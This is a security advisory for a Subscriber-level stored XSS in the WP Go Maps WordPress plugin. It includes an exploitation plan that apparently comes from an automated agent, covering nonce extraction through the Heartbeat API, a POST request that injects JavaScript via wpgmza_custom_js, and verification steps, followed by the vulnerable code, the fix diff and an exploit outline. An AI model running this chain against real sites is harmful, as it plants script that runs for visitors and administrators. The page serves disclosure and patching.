WP Go Maps (formerly WP Google Maps) <= 10.0.05 - Missing Authorization to Authenticated (Subscriber+) Stored Cross-Site Scripting via admin_post_wpgmza_save_settings
Description
The WP Go Maps (formerly WP Google Maps) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘wpgmza_custom_js’ parameter in all versions up to, and including, 10.0.05 due to insufficient input sanitization and output escaping and missing capability check in the 'admin_post_wpgmza_save_settings' hook anonymous function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=10.0.05What Changed in the Fix
Changes introduced in v10.0.06
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4268 (WP Go Maps Stored XSS) ## 1. Vulnerability Summary The **WP Go Maps (formerly WP Google Maps)** plugin (up to 10.0.05) contains a stored cross-site scripting (XSS) vulnerability due to missing authorization and insufficient sanitization in the `admin_pos…
Show full research plan
Exploitation Research Plan: CVE-2026-4268 (WP Go Maps Stored XSS)
1. Vulnerability Summary
The WP Go Maps (formerly WP Google Maps) plugin (up to 10.0.05) contains a stored cross-site scripting (XSS) vulnerability due to missing authorization and insufficient sanitization in the admin_post_wpgmza_save_settings action handler. The plugin registers a global admin post hook that allows any authenticated user (Subscriber level and above) to update plugin settings, including the wpgmza_custom_js field, which is explicitly exempted from sanitization. This allows an attacker to inject arbitrary JavaScript that executes whenever a map is rendered on the site or when an administrator visits the plugin settings page.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-post.php - Action:
wpgmza_save_settings(triggered via theadmin_post_wpgmza_save_settingshook) - Vulnerable Parameter:
wpgmza_custom_js - Required Authentication: Subscriber level (any logged-in user).
- Required Nonce: A nonce for the action is required, but it is exposed to logged-in users via the WordPress Heartbeat API or potentially the settings page itself if access levels are misconfigured.
3. Code Flow
- Entry Point: The plugin registers the action in
includes/class.settings-page.php:add_action('admin_post_wpgmza_save_settings', function() { $settingsPage = SettingsPage::createInstance(); }); - Initialization:
SettingsPage::createInstance()instantiates theSettingsPageclass. - Execution Sink: The
SettingsPage::__construct()method (inincludes/class.settings-page.php) handles the request:- It checks
if(empty($_POST)). Since we are sending a POST request, it enters theelseblock. - It performs a nonce check:
if(!$this->isNonceValid($this->form, $_POST['nonce'])). - It iterates through
$_POSTdata and performs sanitization except forwpgmza_custom_js:if($key === "wpgmza_custom_js"){ // Skip custom javascript, they should be used with user caution, we can't fully clean these continue; } - It saves the data into the global
$wpgmza->settingsobject:foreach($data as $key => $value){ $wpgmza->settings->{$key} = $value; } - Crucially, there is no call to
current_user_can()or any other capability check before these settings are persisted to the database.
- It checks
4. Nonce Acquisition Strategy
The plugin uses a nonce to protect the settings form. Based on includes/class.admin-ui.php, the plugin registers a filter to refresh nonces via the Heartbeat API.
Heartbeat API Leak
The function onAdminRefreshNonces in includes/class.admin-ui.php reveals the nonce action:
public function onAdminRefreshNonces($nonces){
if(!empty($_POST) && !empty($_POST['screen_id'])){
if(strpos($_POST['screen_id'], 'wp-google-maps') !== FALSE){
/* Looking at a WP Go Maps Related page */
$action = admin_url('admin-post.php');
$nonces['wpgmza_nonce'] = wp_create_nonce("wpgmza_$action");
}
}
return $nonces;
}
Strategy:
- Login as a Subscriber user.
- Navigate to
wp-admin/index.php. - Use
http_requestto send a POST request towp-admin/admin-ajax.phpwith:action=heartbeatscreen_id=wp-google-maps-settings(to trigger thestrposcheck)_nonce(the standard WordPress heartbeat nonce, visible in thewp-adminsource)
- Extract
wpgmza_noncefrom the JSON response.
Alternatively: Check if the Subscriber user can access wp-admin/admin.php?page=wp-google-maps-menu-settings directly. If the plugin's default access level is low, the nonce will be directly in the HTML.
5. Exploitation Strategy
- Login: Authenticate as a Subscriber.
- Obtain Nonce:
- Navigate to
/wp-admin/index.php. - Execute JS via
browser_evalto fetch the heartbeat nonce:wp.heartbeat.post('wpgmza', {screen_id: 'wp-google-maps'}, (response) => { console.log(response.wpgmza_nonce); }). - Or manually fetch
admin-ajax.phpusinghttp_request.
- Navigate to
- Inject Payload:
- Send a POST request to
/wp-admin/admin-post.phpusinghttp_request. - Body:
action=wpgmza_save_settingsnonce=[EXTRACTED_NONCE]wpgmza_custom_js=alert("XSS_EXPLOITED_" + document.domain);
- Headers:
Content-Type: application/x-www-form-urlencoded
- Send a POST request to
- Trigger XSS:
- Navigate to any page containing a map shortcode
[wp-google-maps]or the plugin's settings page as an administrator.
- Navigate to any page containing a map shortcode
6. Test Data Setup
- Users: Create a Subscriber user (e.g.,
attacker/attacker). - Map Content: Ensure at least one map exists.
wp google-map create --map_title="Test Map"
- Trigger Page: Create a public page displaying the map.
wp post create --post_type=page --post_title="Map Page" --post_status=publish --post_content='[wp-google-maps id="1"]'
7. Expected Results
- The POST request to
admin-post.phpshould return a302 Redirectback to the referrer (indicating success) or a200 OKwithout error. - The
wpgmza_settingsoption in the database will now contain the malicious JavaScript. - When any user visits the "Map Page", an alert box with
XSS_EXPLOITED_[domain]will appear.
8. Verification Steps
- Database Check:
wp option get wpgmza_settings --format=json
Check if thewpgmza_custom_jskey contains the payload. - Frontend Verification:
Navigate to the "Map Page" usingbrowser_navigateand check for the presence of the script or the alert.
9. Alternative Approaches
- Access Level Manipulation: In some configurations, the plugin allows administrators to lower the "Access Level" for map management. If this is set to
read, the Subscriber can access the settings UI directly. - CSRF: Since the authorization check is missing, if the nonce can be bypassed or predicted, this becomes a CSRF vector against an Administrator to change plugin settings.
- Heartbeat Spoofing: If
wp_refresh_noncesis active, anyadmin-ajax.phprequest that triggers the heartbeat action with the correctscreen_idwill leak the nonce required for the settings update.
Summary
The WP Go Maps plugin for WordPress is vulnerable to Stored Cross-Site Scripting because it fails to perform an authorization check in the 'admin_post_wpgmza_save_settings' handler and explicitly exempts the 'wpgmza_custom_js' parameter from sanitization. Authenticated attackers with Subscriber-level access or higher can update plugin settings to inject malicious JavaScript that executes whenever a map is rendered or an administrator visits the settings page.
Vulnerable Code
// includes/class.settings-page.php (around line 144) add_action('admin_post_wpgmza_save_settings', function() { $settingsPage = SettingsPage::createInstance(); }); --- // includes/class.settings-page.php (around line 84 in constructor) if(empty($_POST)) { $this->document->populate($wpgmza->settings); $this->addFormNonces(); $wpgmza->scriptLoader->enqueueCodeMirror(); } else { if(!$this->isNonceValid($this->form, $_POST['nonce'])) throw new \Exception("Invalid nonce"); $oldPullMethod = $wpgmza->settings->wpgmza_settings_marker_pull; $data = array_map('stripslashes', $_POST); foreach($data as $key => $value){ if(is_string($value)){ if($key === "wpgmza_custom_js"){ // Skip custom javascript, they should be used with user caution, we can't fully clean these continue; } else if($key === "wpgmza_custom_css"){ $data[$key] = wp_strip_all_tags($value); continue; } $data[$key] = wp_kses_post($value); } } $this->document->populate($data); $data = $this->form->serializeFormData(); foreach($data as $key => $value){ $wpgmza->settings->{$key} = $value; } // ... (persists to database) }
Security Fix
@@ -26,11 +26,14 @@ } public function onAdminRefreshNonces($nonces){ + global $wpgmza; if(!empty($_POST) && !empty($_POST['screen_id'])){ if(strpos($_POST['screen_id'], 'wp-google-maps') !== FALSE){ - /* Looking at a WP Go Maps Related page */ - $action = admin_url('admin-post.php'); - $nonces['wpgmza_nonce'] = wp_create_nonce("wpgmza_$action"); + if(!empty($wpgmza) && $wpgmza->isUserAllowedToEdit()){ + /* Looking at a WP Go Maps Related page */ + $action = admin_url('admin-post.php'); + $nonces['wpgmza_nonce'] = wp_create_nonce("wpgmza_$action"); + } } } return $nonces; @@ -66,6 +66,10 @@ } else { if(!$this->isNonceValid($this->form, $_POST['nonce'])) throw new \Exception("Invalid nonce"); + + if(!$wpgmza->isUserAllowedToEdit()){ + throw new \Exception("You do not have permission to perform this action"); + } $oldPullMethod = $wpgmza->settings->wpgmza_settings_marker_pull;
Exploit Outline
1. Authenticate as a Subscriber-level user. 2. Obtain a valid security nonce for the WP Go Maps admin action. This can be done by sending a POST request to /wp-admin/admin-ajax.php with action=heartbeat and screen_id=wp-google-maps-settings. The plugin's Heartbeat filter will return a 'wpgmza_nonce' in the JSON response. 3. Send a POST request to /wp-admin/admin-post.php with the 'action' parameter set to 'wpgmza_save_settings', the 'nonce' parameter set to the extracted nonce, and the 'wpgmza_custom_js' parameter containing a malicious script (e.g., alert(document.domain)). 4. The plugin will save the malicious script into the 'wpgmza_settings' option in the database because it lacks a capability check and explicitly skips sanitization for that specific parameter. 5. The payload will execute whenever a map is loaded on the frontend or when an administrator visits the plugin's settings page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.